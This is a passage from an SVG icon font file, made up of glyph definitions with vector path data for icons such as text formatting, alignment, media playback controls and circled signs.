d="M960 864q119 0 203.5 -84.5t84.5 -203.5t-84.5 -203.5t-203.5 -84.5t-203.5 84.5t-84.5 203.5t84.5 203.5t203.5 84.5zM1664 1280q106 0 181 -75t75 -181v-896q0 -106 -75 -181t-181 -75h-1408q-106 0 -181 75t-75 181v896q0 106 75 181t181 75h224l51 136
q19 49 69.5 84.5t103.5 35.5h512q53 0 103.5 -35.5t69.5 -84.5l51 -136h224zM960 128q185 0 316.5 131.5t131.5 316.5t-131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
    <glyph glyph-name="font" unicode="&#xf031;" horiz-adv-x="1664" 
d="M725 977l-170 -450q33 0 136.5 -2t160.5 -2q19 0 57 2q-87 253 -184 452zM0 -128l2 79q23 7 56 12.5t57 10.5t49.5 14.5t44.5 29t31 50.5l237 616l280 724h75h53q8 -14 11 -21l205 -480q33 -78 106 -257.5t114 -274.5q15 -34 58 -144.5t72 -168.5q20 -45 35 -57
q19 -15 88 -29.5t84 -20.5q6 -38 6 -57q0 -5 -0.5 -13.5t-0.5 -12.5q-63 0 -190 8t-191 8q-76 0 -215 -7t-178 -8q0 43 4 78l131 28q1 0 12.5 2.5t15.5 3.5t14.5 4.5t15 6.5t11 8t9 11t2.5 14q0 16 -31 96.5t-72 177.5t-42 100l-450 2q-26 -58 -76.5 -195.5t-50.5 -162.5
q0 -22 14 -37.5t43.5 -24.5t48.5 -13.5t57 -8.5t41 -4q1 -19 1 -58q0 -9 -2 -27q-58 0 -174.5 10t-174.5 10q-8 0 -26.5 -4t-21.5 -4q-80 -14 -188 -14z" />
    <glyph glyph-name="bold" unicode="&#xf032;" horiz-adv-x="1408" 
d="M555 15q74 -32 140 -32q376 0 376 335q0 114 -41 180q-27 44 -61.5 74t-67.5 46.5t-80.5 25t-84 10.5t-94.5 2q-73 0 -101 -10q0 -53 -0.5 -159t-0.5 -158q0 -8 -1 -67.5t-0.5 -96.5t4.5 -83.5t12 -66.5zM541 761q42 -7 109 -7q82 0 143 13t110 44.5t74.5 89.5t25.5 142
q0 70 -29 122.5t-79 82t-108 43.5t-124 14q-50 0 -130 -13q0 -50 4 -151t4 -152q0 -27 -0.5 -80t-0.5 -79q0 -46 1 -69zM0 -128l2 94q15 4 85 16t106 27q7 12 12.5 27t8.5 33.5t5.5 32.5t3 37.5t0.5 34v35.5v30q0 982 -22 1025q-4 8 -22 14.5t-44.5 11t-49.5 7t-48.5 4.5
t-30.5 3l-4 83q98 2 340 11.5t373 9.5q23 0 68 -0.5t68 -0.5q70 0 136.5 -13t128.5 -42t108 -71t74 -104.5t28 -137.5q0 -52 -16.5 -95.5t-39 -72t-64.5 -57.5t-73 -45t-84 -40q154 -35 256.5 -134t102.5 -248q0 -100 -35 -179.5t-93.5 -130.5t-138 -85.5t-163.5 -48.5
t-176 -14q-44 0 -132 3t-132 3q-106 0 -307 -11t-231 -12z" />
    <glyph glyph-name="italic" unicode="&#xf033;" horiz-adv-x="1024" 
d="M0 -126l17 85q22 7 61.5 16.5t72 19t59.5 23.5q28 35 41 101q1 7 62 289t114 543.5t52 296.5v25q-24 13 -54.5 18.5t-69.5 8t-58 5.5l19 103q33 -2 120 -6.5t149.5 -7t120.5 -2.5q48 0 98.5 2.5t121 7t98.5 6.5q-5 -39 -19 -89q-30 -10 -101.5 -28.5t-108.5 -33.5
q-8 -19 -14 -42.5t-9 -40t-7.5 -45.5t-6.5 -42q-27 -148 -87.5 -419.5t-77.5 -355.5q-2 -9 -13 -58t-20 -90t-16 -83.5t-6 -57.5l1 -18q17 -4 185 -31q-3 -44 -16 -99q-11 0 -32.5 -1.5t-32.5 -1.5q-29 0 -87 10t-86 10q-138 2 -206 2q-51 0 -143 -9t-121 -11z" />
    <glyph glyph-name="text_height" unicode="&#xf034;" horiz-adv-x="1792" 
d="M1744 128q33 0 42 -18.5t-11 -44.5l-126 -162q-20 -26 -49 -26t-49 26l-126 162q-20 26 -11 44.5t42 18.5h80v1024h-80q-33 0 -42 18.5t11 44.5l126 162q20 26 49 26t49 -26l126 -162q20 -26 11 -44.5t-42 -18.5h-80v-1024h80zM81 1407l54 -27q12 -5 211 -5q44 0 132 2
t132 2q36 0 107.5 -0.5t107.5 -0.5h293q6 0 21 -0.5t20.5 0t16 3t17.5 9t15 17.5l42 1q4 0 14 -0.5t14 -0.5q2 -112 2 -336q0 -80 -5 -109q-39 -14 -68 -18q-25 44 -54 128q-3 9 -11 48t-14.5 73.5t-7.5 35.5q-6 8 -12 12.5t-15.5 6t-13 2.5t-18 0.5t-16.5 -0.5
q-17 0 -66.5 0.5t-74.5 0.5t-64 -2t-71 -6q-9 -81 -8 -136q0 -94 2 -388t2 -455q0 -16 -2.5 -71.5t0 -91.5t12.5 -69q40 -21 124 -42.5t120 -37.5q5 -40 5 -50q0 -14 -3 -29l-34 -1q-76 -2 -218 8t-207 10q-50 0 -151 -9t-152 -9q-3 51 -3 52v9q17 27 61.5 43t98.5 29t78 27
q19 42 19 383q0 101 -3 303t-3 303v117q0 2 0.5 15.5t0.5 25t-1 25.5t-3 24t-5 14q-11 12 -162 12q-33 0 -93 -12t-80 -26q-19 -13 -34 -72.5t-31.5 -111t-42.5 -53.5q-42 26 -56 44v383z" />
    <glyph glyph-name="text_width" unicode="&#xf035;" 
d="M81 1407l54 -27q12 -5 211 -5q44 0 132 2t132 2q70 0 246.5 1t304.5 0.5t247 -4.5q33 -1 56 31l42 1q4 0 14 -0.5t14 -0.5q2 -112 2 -336q0 -80 -5 -109q-39 -14 -68 -18q-25 44 -54 128q-3 9 -11 47.5t-15 73.5t-7 36q-10 13 -27 19q-5 2 -66 2q-30 0 -93 1t-103 1
t-94 -2t-96 -7q-9 -81 -8 -136l1 -152v52q0 -55 1 -154t1.5 -180t0.5 -153q0 -16 -2.5 -71.5t0 -91.5t12.5 -69q40 -21 124 -42.5t120 -37.5q5 -40 5 -50q0 -14 -3 -29l-34 -1q-76 -2 -218 8t-207 10q-50 0 -151 -9t-152 -9q-3 51 -3 52v9q17 27 61.5 43t98.5 29t78 27
q7 16 11.5 74t6 145.5t1.5 155t-0.5 153.5t-0.5 89q0 7 -2.5 21.5t-2.5 22.5q0 7 0.5 44t1 73t0 76.5t-3 67.5t-6.5 32q-11 12 -162 12q-41 0 -163 -13.5t-138 -24.5q-19 -12 -34 -71.5t-31.5 -111.5t-42.5 -54q-42 26 -56 44v383zM1310 125q12 0 42 -19.5t57.5 -41.5
t59.5 -49t36 -30q26 -21 26 -49t-26 -49q-4 -3 -36 -30t-59.5 -49t-57.5 -41.5t-42 -19.5q-13 0 -20.5 10.5t-10 28.5t-2.5 33.5t1.5 33t1.5 19.5h-1024q0 -2 1.5 -19.5t1.5 -33t-2.5 -33.5t-10 -28.5t-20.5 -10.5q-12 0 -42 19.5t-57.5 41.5t-59.5 49t-36 30q-26 21 -26 49
t26 49q4 3 36 30t59.5 49t57.5 41.5t42 19.5q13 0 20.5 -10.5t10 -28.5t2.5 -33.5t-1.5 -33t-1.5 -19.5h1024q0 2 -1.5 19.5t-1.5 33t2.5 33.5t10 28.5t20.5 10.5z" />
    <glyph glyph-name="align_left" unicode="&#xf036;" horiz-adv-x="1792" 
d="M1792 192v-128q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1408 576v-128q0 -26 -19 -45t-45 -19h-1280q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1280q26 0 45 -19t19 -45zM1664 960v-128q0 -26 -19 -45
t-45 -19h-1536q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1536q26 0 45 -19t19 -45zM1280 1344v-128q0 -26 -19 -45t-45 -19h-1152q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1152q26 0 45 -19t19 -45z" />
    <glyph glyph-name="align_center" unicode="&#xf037;" horiz-adv-x="1792" 
d="M1792 192v-128q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1408 576v-128q0 -26 -19 -45t-45 -19h-896q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h896q26 0 45 -19t19 -45zM1664 960v-128q0 -26 -19 -45t-45 -19
h-1408q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1408q26 0 45 -19t19 -45zM1280 1344v-128q0 -26 -19 -45t-45 -19h-640q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h640q26 0 45 -19t19 -45z" />
    <glyph glyph-name="align_right" unicode="&#xf038;" horiz-adv-x="1792" 
d="M1792 192v-128q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1792 576v-128q0 -26 -19 -45t-45 -19h-1280q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1280q26 0 45 -19t19 -45zM1792 960v-128q0 -26 -19 -45
t-45 -19h-1536q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1536q26 0 45 -19t19 -45zM1792 1344v-128q0 -26 -19 -45t-45 -19h-1152q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1152q26 0 45 -19t19 -45z" />
    <glyph glyph-name="align_justify" unicode="&#xf039;" horiz-adv-x="1792" 
d="M1792 192v-128q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1792 576v-128q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1792 960v-128q0 -26 -19 -45
t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45zM1792 1344v-128q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h1664q26 0 45 -19t19 -45z" />
    <glyph glyph-name="list" unicode="&#xf03a;" horiz-adv-x="1792" 
d="M256 224v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-192q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h192q13 0 22.5 -9.5t9.5 -22.5zM256 608v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-192q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h192q13 0 22.5 -9.5
t9.5 -22.5zM256 992v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-192q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h192q13 0 22.5 -9.5t9.5 -22.5zM1792 224v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1344q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1344
q13 0 22.5 -9.5t9.5 -22.5zM256 1376v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-192q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h192q13 0 22.5 -9.5t9.5 -22.5zM1792 608v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1344q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5
t22.5 9.5h1344q13 0 22.5 -9.5t9.5 -22.5zM1792 992v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1344q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1344q13 0 22.5 -9.5t9.5 -22.5zM1792 1376v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1344q-13 0 -22.5 9.5t-9.5 22.5v192
q0 13 9.5 22.5t22.5 9.5h1344q13 0 22.5 -9.5t9.5 -22.5z" />
    <glyph glyph-name="indent_left" unicode="&#xf03b;" horiz-adv-x="1792" 
d="M384 992v-576q0 -13 -9.5 -22.5t-22.5 -9.5q-14 0 -23 9l-288 288q-9 9 -9 23t9 23l288 288q9 9 23 9q13 0 22.5 -9.5t9.5 -22.5zM1792 224v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1728q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1728q13 0 22.5 -9.5
t9.5 -22.5zM1792 608v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1088q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1088q13 0 22.5 -9.5t9.5 -22.5zM1792 992v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1088q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1088
q13 0 22.5 -9.5t9.5 -22.5zM1792 1376v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1728q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1728q13 0 22.5 -9.5t9.5 -22.5z" />
    <glyph glyph-name="indent_right" unicode="&#xf03c;" horiz-adv-x="1792" 
d="M352 704q0 -14 -9 -23l-288 -288q-9 -9 -23 -9q-13 0 -22.5 9.5t-9.5 22.5v576q0 13 9.5 22.5t22.5 9.5q14 0 23 -9l288 -288q9 -9 9 -23zM1792 224v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1728q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1728q13 0 22.5 -9.5
t9.5 -22.5zM1792 608v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1088q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1088q13 0 22.5 -9.5t9.5 -22.5zM1792 992v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1088q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1088
q13 0 22.5 -9.5t9.5 -22.5zM1792 1376v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1728q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1728q13 0 22.5 -9.5t9.5 -22.5z" />
    <glyph glyph-name="facetime_video" unicode="&#xf03d;" horiz-adv-x="1792" 
d="M1792 1184v-1088q0 -42 -39 -59q-13 -5 -25 -5q-27 0 -45 19l-403 403v-166q0 -119 -84.5 -203.5t-203.5 -84.5h-704q-119 0 -203.5 84.5t-84.5 203.5v704q0 119 84.5 203.5t203.5 84.5h704q119 0 203.5 -84.5t84.5 -203.5v-165l403 402q18 19 45 19q12 0 25 -5
q39 -17 39 -59z" />
    <glyph glyph-name="picture" unicode="&#xf03e;" horiz-adv-x="1920" 
d="M640 960q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM1664 576v-448h-1408v192l320 320l160 -160l512 512zM1760 1280h-1600q-13 0 -22.5 -9.5t-9.5 -22.5v-1216q0 -13 9.5 -22.5t22.5 -9.5h1600q13 0 22.5 9.5t9.5 22.5v1216
q0 13 -9.5 22.5t-22.5 9.5zM1920 1248v-1216q0 -66 -47 -113t-113 -47h-1600q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1600q66 0 113 -47t47 -113z" />
    <glyph glyph-name="pencil" unicode="&#xf040;" 
d="M363 0l91 91l-235 235l-91 -91v-107h128v-128h107zM886 928q0 22 -22 22q-10 0 -17 -7l-542 -542q-7 -7 -7 -17q0 -22 22 -22q10 0 17 7l542 542q7 7 7 17zM832 1120l416 -416l-832 -832h-416v416zM1515 1024q0 -53 -37 -90l-166 -166l-416 416l166 165q36 38 90 38
q53 0 91 -38l235 -234q37 -39 37 -91z" />
    <glyph glyph-name="map_marker" unicode="&#xf041;" horiz-adv-x="1024" 
d="M768 896q0 106 -75 181t-181 75t-181 -75t-75 -181t75 -181t181 -75t181 75t75 181zM1024 896q0 -109 -33 -179l-364 -774q-16 -33 -47.5 -52t-67.5 -19t-67.5 19t-46.5 52l-365 774q-33 70 -33 179q0 212 150 362t362 150t362 -150t150 -362z" />
    <glyph glyph-name="adjust" unicode="&#xf042;" 
d="M768 96v1088q-148 0 -273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="tint" unicode="&#xf043;" horiz-adv-x="1024" 
d="M512 384q0 36 -20 69q-1 1 -15.5 22.5t-25.5 38t-25 44t-21 50.5q-4 16 -21 16t-21 -16q-7 -23 -21 -50.5t-25 -44t-25.5 -38t-15.5 -22.5q-20 -33 -20 -69q0 -53 37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1024 512q0 -212 -150 -362t-362 -150t-362 150t-150 362
q0 145 81 275q6 9 62.5 90.5t101 151t99.5 178t83 201.5q9 30 34 47t51 17t51.5 -17t33.5 -47q28 -93 83 -201.5t99.5 -178t101 -151t62.5 -90.5q81 -127 81 -275z" />
    <glyph glyph-name="edit" unicode="&#xf044;" horiz-adv-x="1792" 
d="M888 352l116 116l-152 152l-116 -116v-56h96v-96h56zM1328 1072q-16 16 -33 -1l-350 -350q-17 -17 -1 -33t33 1l350 350q17 17 1 33zM1408 478v-190q0 -119 -84.5 -203.5t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h832
q63 0 117 -25q15 -7 18 -23q3 -17 -9 -29l-49 -49q-14 -14 -32 -8q-23 6 -45 6h-832q-66 0 -113 -47t-47 -113v-832q0 -66 47 -113t113 -47h832q66 0 113 47t47 113v126q0 13 9 22l64 64q15 15 35 7t20 -29zM1312 1216l288 -288l-672 -672h-288v288zM1756 1084l-92 -92
l-288 288l92 92q28 28 68 28t68 -28l152 -152q28 -28 28 -68t-28 -68z" />
    <glyph glyph-name="share" unicode="&#xf045;" horiz-adv-x="1664" 
d="M1408 547v-259q0 -119 -84.5 -203.5t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h255v0q13 0 22.5 -9.5t9.5 -22.5q0 -27 -26 -32q-77 -26 -133 -60q-10 -4 -16 -4h-112q-66 0 -113 -47t-47 -113v-832q0 -66 47 -113t113 -47h832
q66 0 113 47t47 113v214q0 19 18 29q28 13 54 37q16 16 35 8q21 -9 21 -29zM1645 1043l-384 -384q-18 -19 -45 -19q-12 0 -25 5q-39 17 -39 59v192h-160q-323 0 -438 -131q-119 -137 -74 -473q3 -23 -20 -34q-8 -2 -12 -2q-16 0 -26 13q-10 14 -21 31t-39.5 68.5t-49.5 99.5
t-38.5 114t-17.5 122q0 49 3.5 91t14 90t28 88t47 81.5t68.5 74t94.5 61.5t124.5 48.5t159.5 30.5t196.5 11h160v192q0 42 39 59q13 5 25 5q26 0 45 -19l384 -384q19 -19 19 -45t-19 -45z" />
    <glyph glyph-name="check" unicode="&#xf046;" horiz-adv-x="1664" 
d="M1408 606v-318q0 -119 -84.5 -203.5t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h832q63 0 117 -25q15 -7 18 -23q3 -17 -9 -29l-49 -49q-10 -10 -23 -10q-3 0 -9 2q-23 6 -45 6h-832q-66 0 -113 -47t-47 -113v-832
q0 -66 47 -113t113 -47h832q66 0 113 47t47 113v254q0 13 9 22l64 64q10 10 23 10q6 0 12 -3q20 -8 20 -29zM1639 1095l-814 -814q-24 -24 -57 -24t-57 24l-430 430q-24 24 -24 57t24 57l110 110q24 24 57 24t57 -24l263 -263l647 647q24 24 57 24t57 -24l110 -110
q24 -24 24 -57t-24 -57z" />
    <glyph glyph-name="move" unicode="&#xf047;" horiz-adv-x="1792" 
d="M1792 640q0 -26 -19 -45l-256 -256q-19 -19 -45 -19t-45 19t-19 45v128h-384v-384h128q26 0 45 -19t19 -45t-19 -45l-256 -256q-19 -19 -45 -19t-45 19l-256 256q-19 19 -19 45t19 45t45 19h128v384h-384v-128q0 -26 -19 -45t-45 -19t-45 19l-256 256q-19 19 -19 45
t19 45l256 256q19 19 45 19t45 -19t19 -45v-128h384v384h-128q-26 0 -45 19t-19 45t19 45l256 256q19 19 45 19t45 -19l256 -256q19 -19 19 -45t-19 -45t-45 -19h-128v-384h384v128q0 26 19 45t45 19t45 -19l256 -256q19 -19 19 -45z" />
    <glyph glyph-name="step_backward" unicode="&#xf048;" horiz-adv-x="1024" 
d="M979 1395q19 19 32 13t13 -32v-1472q0 -26 -13 -32t-32 13l-710 710q-9 9 -13 19v-678q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v1408q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-678q4 10 13 19z" />
    <glyph glyph-name="fast_backward" unicode="&#xf049;" horiz-adv-x="1792" 
d="M1747 1395q19 19 32 13t13 -32v-1472q0 -26 -13 -32t-32 13l-710 710q-9 9 -13 19v-710q0 -26 -13 -32t-32 13l-710 710q-9 9 -13 19v-678q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v1408q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-678q4 10 13 19l710 710
q19 19 32 13t13 -32v-710q4 10 13 19z" />
    <glyph glyph-name="backward" unicode="&#xf04a;" horiz-adv-x="1664" 
d="M1619 1395q19 19 32 13t13 -32v-1472q0 -26 -13 -32t-32 13l-710 710q-9 9 -13 19v-710q0 -26 -13 -32t-32 13l-710 710q-19 19 -19 45t19 45l710 710q19 19 32 13t13 -32v-710q4 10 13 19z" />
    <glyph glyph-name="play" unicode="&#xf04b;" horiz-adv-x="1408" 
d="M1384 609l-1328 -738q-23 -13 -39.5 -3t-16.5 36v1472q0 26 16.5 36t39.5 -3l1328 -738q23 -13 23 -31t-23 -31z" />
    <glyph glyph-name="pause" unicode="&#xf04c;" 
d="M1536 1344v-1408q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19t-19 45v1408q0 26 19 45t45 19h512q26 0 45 -19t19 -45zM640 1344v-1408q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19t-19 45v1408q0 26 19 45t45 19h512q26 0 45 -19t19 -45z" />
    <glyph glyph-name="stop" unicode="&#xf04d;" 
d="M1536 1344v-1408q0 -26 -19 -45t-45 -19h-1408q-26 0 -45 19t-19 45v1408q0 26 19 45t45 19h1408q26 0 45 -19t19 -45z" />
    <glyph glyph-name="forward" unicode="&#xf04e;" horiz-adv-x="1664" 
d="M45 -115q-19 -19 -32 -13t-13 32v1472q0 26 13 32t32 -13l710 -710q9 -9 13 -19v710q0 26 13 32t32 -13l710 -710q19 -19 19 -45t-19 -45l-710 -710q-19 -19 -32 -13t-13 32v710q-4 -10 -13 -19z" />
    <glyph glyph-name="fast_forward" unicode="&#xf050;" horiz-adv-x="1792" 
d="M45 -115q-19 -19 -32 -13t-13 32v1472q0 26 13 32t32 -13l710 -710q9 -9 13 -19v710q0 26 13 32t32 -13l710 -710q9 -9 13 -19v678q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-1408q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v678q-4 -10 -13 -19l-710 -710
q-19 -19 -32 -13t-13 32v710q-4 -10 -13 -19z" />
    <glyph glyph-name="step_forward" unicode="&#xf051;" horiz-adv-x="1024" 
d="M45 -115q-19 -19 -32 -13t-13 32v1472q0 26 13 32t32 -13l710 -710q9 -9 13 -19v678q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-1408q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v678q-4 -10 -13 -19z" />
    <glyph glyph-name="eject" unicode="&#xf052;" horiz-adv-x="1538" 
d="M14 557l710 710q19 19 45 19t45 -19l710 -710q19 -19 13 -32t-32 -13h-1472q-26 0 -32 13t13 32zM1473 0h-1408q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h1408q26 0 45 -19t19 -45v-256q0 -26 -19 -45t-45 -19z" />
    <glyph glyph-name="chevron_left" unicode="&#xf053;" horiz-adv-x="1280" 
d="M1171 1235l-531 -531l531 -531q19 -19 19 -45t-19 -45l-166 -166q-19 -19 -45 -19t-45 19l-742 742q-19 19 -19 45t19 45l742 742q19 19 45 19t45 -19l166 -166q19 -19 19 -45t-19 -45z" />
    <glyph glyph-name="chevron_right" unicode="&#xf054;" horiz-adv-x="1280" 
d="M1107 659l-742 -742q-19 -19 -45 -19t-45 19l-166 166q-19 19 -19 45t19 45l531 531l-531 531q-19 19 -19 45t19 45l166 166q19 19 45 19t45 -19l742 -742q19 -19 19 -45t-19 -45z" />
    <glyph glyph-name="plus_sign" unicode="&#xf055;" 
d="M1216 576v128q0 26 -19 45t-45 19h-256v256q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-256h-256q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h256v-256q0 -26 19 -45t45 -19h128q26 0 45 19t19 45v256h256q26 0 45 19t19 45zM1536 640q0 -209 -103 -385.5
t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="minus_sign" unicode="&#xf056;" 
d="M1216 576v128q0 26 -19 45t-45 19h-768q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h768q26 0 45 19t19 45zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5
t103 -385.5z" />
    <glyph glyph-name="remove_sign" unicode="&#xf057;" 
d="M1149 414q0 26 -19 45l-181 181l181 181q19 19 19 45q0 27 -19 46l-90 90q-19 19 -46 19q-26 0 -45 -19l-181 -181l-181 181q-19 19 -45 19q-27 0 -46 -19l-90 -90q-19 -19 -19 -46q0 -26 19 -45l181 -181l-181 -181q-19 -19 -19 -45q0 -27 19 -46l90 -90q19 -19 46 -19
q26 0 45 19l181 181l181 -181q19 -19 45 -19q27 0 46 19l90 90q19 19 19 46zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="ok_sign" unicode="&#xf058;" 
d="M1284 802q0 28 -18 46l-91 90q-19 19 -45 19t-45 -19l-408 -407l-226 226q-19 19 -45 19t-45 -19l-91 -90q-18 -18 -18 -46q0 -27 18 -45l362 -362q19 -19 45 -19q27 0 46 19l543 543q18 18 18 45zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103
t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="question_sign" unicode="&#xf059;" 
d="M896 160v192q0 14 -9 23t-23 9h-192q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h192q14 0 23 9t9 23zM1152 832q0 88 -55.5 163t-138.5 116t-170 41q-243 0 -371 -213q-15 -24 8 -42l132 -100q7 -6 19 -6q16 0 25 12q53 68 86 92q34 24 86 24q48 0 85.5 -26t37.5 -59
q0 -38 -20 -61t-68 -45q-63 -28 -115.5 -86.5t-52.5 -125.5v-36q0 -14 9 -23t23 -9h192q14 0 23 9t9 23q0 19 21.5 49.5t54.5 49.5q32 18 49 28.5t46 35t44.5 48t28 60.5t12.5 81zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5
t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="info_sign" unicode="&#xf05a;" 
d="M1024 160v160q0 14 -9 23t-23 9h-96v512q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-160q0 -14 9 -23t23 -9h96v-320h-96q-14 0 -23 -9t-9 -23v-160q0 -14 9 -23t23 -9h448q14 0 23 9t9 23zM896 1056v160q0 14 -9 23t-23 9h-192q-14 0 -23 -9t-9 -23v-160q0 -14 9 -23
t23 -9h192q14 0 23 9t9 23zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="screenshot" unicode="&#xf05b;" 
d="M1197 512h-109q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h109q-32 108 -112.5 188.5t-188.5 112.5v-109q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v109q-108 -32 -188.5 -112.5t-112.5 -188.5h109q26 0 45 -19t19 -45v-128q0 -26 -19 -45t-45 -19h-109
q32 -108 112.5 -188.5t188.5 -112.5v109q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-109q108 32 188.5 112.5t112.5 188.5zM1536 704v-128q0 -26 -19 -45t-45 -19h-143q-37 -161 -154.5 -278.5t-278.5 -154.5v-143q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v143
q-161 37 -278.5 154.5t-154.5 278.5h-143q-26 0 -45 19t-19 45v128q0 26 19 45t45 19h143q37 161 154.5 278.5t278.5 154.5v143q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-143q161 -37 278.5 -154.5t154.5 -278.5h143q26 0 45 -19t19 -45z" />
    <glyph glyph-name="remove_circle" unicode="&#xf05c;" 
